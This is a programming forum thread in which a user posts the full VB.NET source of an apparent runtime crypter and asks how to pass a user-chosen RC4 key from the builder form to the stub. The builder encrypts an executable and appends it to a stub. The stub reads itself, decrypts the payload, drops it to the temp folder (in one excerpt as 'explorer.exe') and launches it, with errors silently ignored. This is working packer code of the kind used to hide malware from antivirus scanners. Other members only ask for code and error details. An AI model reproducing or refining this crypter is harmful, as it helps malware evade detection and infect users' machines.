Results 1 to 9 of 9

Thread: random encryption key

  1. #1

    Thread Starter
    Member
    Join Date
    May 2013
    Posts
    63

    Question random encryption key

    hi guys sorry for multiply questions i don't always ask untill i try and have no solution

    how to add an encryption key between form1 and stub ?
    i tried this but didn't work
    i'm using rc4 encryption

    dim random as string = textbox1.text
    rc4(filein, random)

    in the stub

    dim random as string
    rc4(filein, random)

    it gives me this error :
    Name:  problemstubencryption.jpg
Views: 337
Size:  13.2 KB

  2. #2

    Re: random encryption key

    So...what's in RC4()? It's...difficult to read something that has no code posted. I would love to read your code with my Crystal Ball, but it's STILL in repair.

    Also, some members would find your signature offensive. Just throwing that out there.

  3. #3

    Thread Starter
    Member
    Join Date
    May 2013
    Posts
    63

    Re: random encryption key

    Quote Originally Posted by formlesstree4 View Post
    So...what's in RC4()? It's...difficult to read something that has no code posted. I would love to read your code with my Crystal Ball, but it's STILL in repair.

    Also, some members would find your signature offensive. Just throwing that out there.
    Part of my code :
    --------------------------------
    Dim temppath As String
    temppath= System.IO.Path.GetTempPath
    Try
    FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
    thefileon= Space(LOF(1))
    FileGet(1, thefileon)
    FileClose(1)
    Filetosplit = Split(thefileon, filesplit)
    filezafter = rc4(Filetosplit(1), "2pac") ' i want to change "2pac" from the textbox1.text the in form1 :[
    FileOpen(5, TPath & "\explorer.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
    FilePut(5, filezafter)
    FileClose(5)
    Catch ex As Exception
    End Try

  4. #4
    Powered By Medtronic dbasnett's Avatar
    Join Date
    Dec 2007
    Location
    Jefferson City, MO
    Posts
    9,897

    Re: random encryption key

    Quote Originally Posted by formlesstree4 View Post
    Also, some members would find your signature offensive. Just throwing that out there.
    Yes.
    My First Computer -- Documentation Link (RT?M) -- Using the Debugger -- Prime Number Sieve
    Counting Bits -- Subnet Calculator -- UI Guidelines -- >> SerialPort Answer <<

    "Those who use Application.DoEvents have no idea what it does and those who know what it does never use it." John Wein

  5. #5

    Thread Starter
    Member
    Join Date
    May 2013
    Posts
    63

    Re: random encryption key

    it's not about the signature, Please help

  6. #6

    Re: random encryption key

    You're still not telling or showing me what the heck the FUNCTION RC4 does!! I can't help you if you don't SHOW it. Plus your error message is in a different language so please translate it. I'm trying to help but you're doing everything in your power it seems to actually make it harder for me to help you!

  7. #7

    Thread Starter
    Member
    Join Date
    May 2013
    Posts
    63

    Re: random encryption key

    Form1 code :
    Imports System.Text
    Const filesplit = "@2pac@"
    Dim filein, filename, stub As String
    Dim lol As New SaveFileDialog
    If lol.ShowDialog = Windows.Forms.DialogResult.OK Then
    filename = lol.FileName
    Else : Exit Sub
    End If
    FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
    filein = Space(LOF(1))
    FileGet(1, filein)
    FileClose(1)
    FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
    stub = Space(LOF(1))
    FileGet(1, stub)
    FileClose(1)
    FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
    FilePut(1, stub & filesplit & rc4(filein, "2pac")) ' I want to change 2pac as said, i have a textbox1 in this form
    FileClose(1)
    MsgBox("Crypted!")
    Me.Close()
    Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
    Dim i As Integer = 0
    Dim j As Integer = 0
    Dim cipher As New StringBuilder
    Dim returnCipher As String = String.Empty
    Dim sbox As Integer() = New Integer(256) {}
    Dim key As Integer() = New Integer(256) {}
    Dim intLength As Integer = password.Length
    Dim a As Integer = 0
    While a <= 255
    Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
    key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
    sbox(a) = a
    System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
    End While
    Dim x As Integer = 0
    Dim b As Integer = 0
    While b <= 255
    x = (x + sbox(b) + key(b)) Mod 256
    Dim tempSwap As Integer = sbox(b)
    sbox(b) = sbox(x)
    sbox(x) = tempSwap
    System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
    End While
    a = 1
    While a <= message.Length
    Dim itmp As Integer = 0
    i = (i + 1) Mod 256
    j = (j + sbox(i)) Mod 256
    itmp = sbox(i)
    sbox(i) = sbox(j)
    sbox(j) = itmp
    Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
    Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
    itmp = Asc(ctmp)
    Dim cipherby As Integer = itmp Xor k
    cipher.Append(Chr(cipherby))
    System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
    End While
    returnCipher = cipher.ToString
    cipher.Length = 0
    Return returnCipher
    End Function
    ---------------------------------------------------------------------------------------------------------------------------
    All the Stub Code :
    -------------------------------------------------------------------------------------------------------------------------
    Imports System.Text
    Const filesplit = "@2pac@"
    On Error Resume Next
    Dim TPath As String = System.IO.Path.GetTempPath
    Dim file1, filezb4(), filezafter As String
    FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
    file1 = Space(LOF(1))
    FileGet(1, file1)
    FileClose(1)
    filezb4 = Split(file1, filesplit)
    filezafter = rc4(filezb4(1), "2pac") ' I want to change 2pac from the textbox1 in the form1 as i said !
    FileOpen(5, TPath & "\Crypted.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
    FilePut(5, filezafter)
    FileClose(5)
    System.Diagnostics.Process.Start(TPath & "\Crypted.exe")
    Me.Close()
    End
    Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
    Dim i As Integer = 0
    Dim j As Integer = 0
    Dim cipher As New StringBuilder
    Dim returnCipher As String = String.Empty
    Dim sbox As Integer() = New Integer(256) {}
    Dim key As Integer() = New Integer(256) {}
    Dim intLength As Integer = password.Length
    Dim a As Integer = 0
    While a <= 255
    Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
    key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
    sbox(a) = a
    System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
    End While
    Dim x As Integer = 0
    Dim b As Integer = 0
    While b <= 255
    x = (x + sbox(b) + key(b)) Mod 256
    Dim tempSwap As Integer = sbox(b)
    sbox(b) = sbox(x)
    sbox(x) = tempSwap
    System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
    End While
    a = 1
    While a <= message.Length
    Dim itmp As Integer = 0
    i = (i + 1) Mod 256
    j = (j + sbox(i)) Mod 256
    itmp = sbox(i)
    sbox(i) = sbox(j)
    sbox(j) = itmp
    Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
    Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
    itmp = Asc(ctmp)
    Dim cipherby As Integer = itmp Xor k
    cipher.Append(Chr(cipherby))
    System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
    End While
    returnCipher = cipher.ToString
    cipher.Length = 0
    Return returnCipher
    End Function

    ----------------------------------------------------------------------------------------------------------------------------------------

    What i've tryied :
    in form1
    Dim tex as string = textbox1.text
    rc4(filein(1), tex)
    in stub :
    dim tex as string
    rc4(filein(1), text)

    Does Not work.

    Translation :
    an unhandled exception has occurred, if the you continue, the application will ignore this error, if you click quite, the application will stop!

    Name Or Number of the file is incorrect.
    =========
    PLease Tell me if you need anything else please !

  8. #8

    Re: random encryption key

    Okay. A few things:

    1) Wrap your code in [code] blocks please. It's impossible to read your code accurately.
    2) Can you possibly point out a line number where your code fails? In your Exception window, there's the option to show more details and in there it provides a stack trace.

  9. #9

    Thread Starter
    Member
    Join Date
    May 2013
    Posts
    63

    Re: random encryption key

    Quote Originally Posted by formlesstree4 View Post
    Okay. A few things:

    1) Wrap your code in [code] blocks please. It's impossible to read your code accurately.
    2) Can you possibly point out a line number where your code fails? In your Exception window, there's the option to show more details and in there it provides a stack trace.
    Imports System.Text
    Const filesplit = "@2pac@"
    Dim filein, filename, stub As String
    Dim lol As New SaveFileDialog
    If lol.ShowDialog = Windows.Forms.DialogResult.OK Then
    filename = lol.FileName
    Else : Exit Sub
    End If
    FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
    filein = Space(LOF(1))
    FileGet(1, filein)
    FileClose(1)
    FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
    stub = Space(LOF(1))
    FileGet(1, stub)
    FileClose(1)
    FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
    FilePut(1, stub & filesplit & rc4(filein, "2pac")) ' I want to change 2pac as said, i have a textbox1 in this form
    FileClose(1)
    MsgBox("Crypted!")
    Me.Close()
    Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
    Dim i As Integer = 0
    Dim j As Integer = 0
    Dim cipher As New StringBuilder
    Dim returnCipher As String = String.Empty
    Dim sbox As Integer() = New Integer(256) {}
    Dim key As Integer() = New Integer(256) {}
    Dim intLength As Integer = password.Length
    Dim a As Integer = 0
    While a <= 255
    Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
    key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
    sbox(a) = a
    System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
    End While
    Dim x As Integer = 0
    Dim b As Integer = 0
    While b <= 255
    x = (x + sbox(b) + key(b)) Mod 256
    Dim tempSwap As Integer = sbox(b)
    sbox(b) = sbox(x)
    sbox(x) = tempSwap
    System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
    End While
    a = 1
    While a <= message.Length
    Dim itmp As Integer = 0
    i = (i + 1) Mod 256
    j = (j + sbox(i)) Mod 256
    itmp = sbox(i)
    sbox(i) = sbox(j)
    sbox(j) = itmp
    Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
    Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
    itmp = Asc(ctmp)
    Dim cipherby As Integer = itmp Xor k
    cipher.Append(Chr(cipherby))
    System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
    End While
    returnCipher = cipher.ToString
    cipher.Length = 0
    Return returnCipher
    End Function
    CODE 2 (STUB) :

    Imports System.Text
    Const filesplit = "@2pac@"
    On Error Resume Next
    Dim TPath As String = System.IO.Path.GetTempPath
    Dim file1, filezb4(), filezafter As String
    FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
    file1 = Space(LOF(1))
    FileGet(1, file1)
    FileClose(1)
    filezb4 = Split(file1, filesplit)
    filezafter = rc4(filezb4(1), "2pac") ' I want to change 2pac from the textbox1 in the form1 as i said !
    FileOpen(5, TPath & "\Crypted.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
    FilePut(5, filezafter)
    FileClose(5)
    System.Diagnostics.Process.Start(TPath & "\Crypted.exe")
    Me.Close()
    End
    RC4 Function :

    Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
    Dim i As Integer = 0
    Dim j As Integer = 0
    Dim cipher As New StringBuilder
    Dim returnCipher As String = String.Empty
    Dim sbox As Integer() = New Integer(256) {}
    Dim key As Integer() = New Integer(256) {}
    Dim intLength As Integer = password.Length
    Dim a As Integer = 0
    While a <= 255
    Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
    key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
    sbox(a) = a
    System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
    End While
    Dim x As Integer = 0
    Dim b As Integer = 0
    While b <= 255
    x = (x + sbox(b) + key(b)) Mod 256
    Dim tempSwap As Integer = sbox(b)
    sbox(b) = sbox(x)
    sbox(x) = tempSwap
    System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
    End While
    a = 1
    While a <= message.Length
    Dim itmp As Integer = 0
    i = (i + 1) Mod 256
    j = (j + sbox(i)) Mod 256
    itmp = sbox(i)
    sbox(i) = sbox(j)
    sbox(j) = itmp
    Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
    Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
    itmp = Asc(ctmp)
    Dim cipherby As Integer = itmp Xor k
    cipher.Append(Chr(cipherby))
    System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
    End While
    returnCipher = cipher.ToString
    cipher.Length = 0
    Return returnCipher
    End Function

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width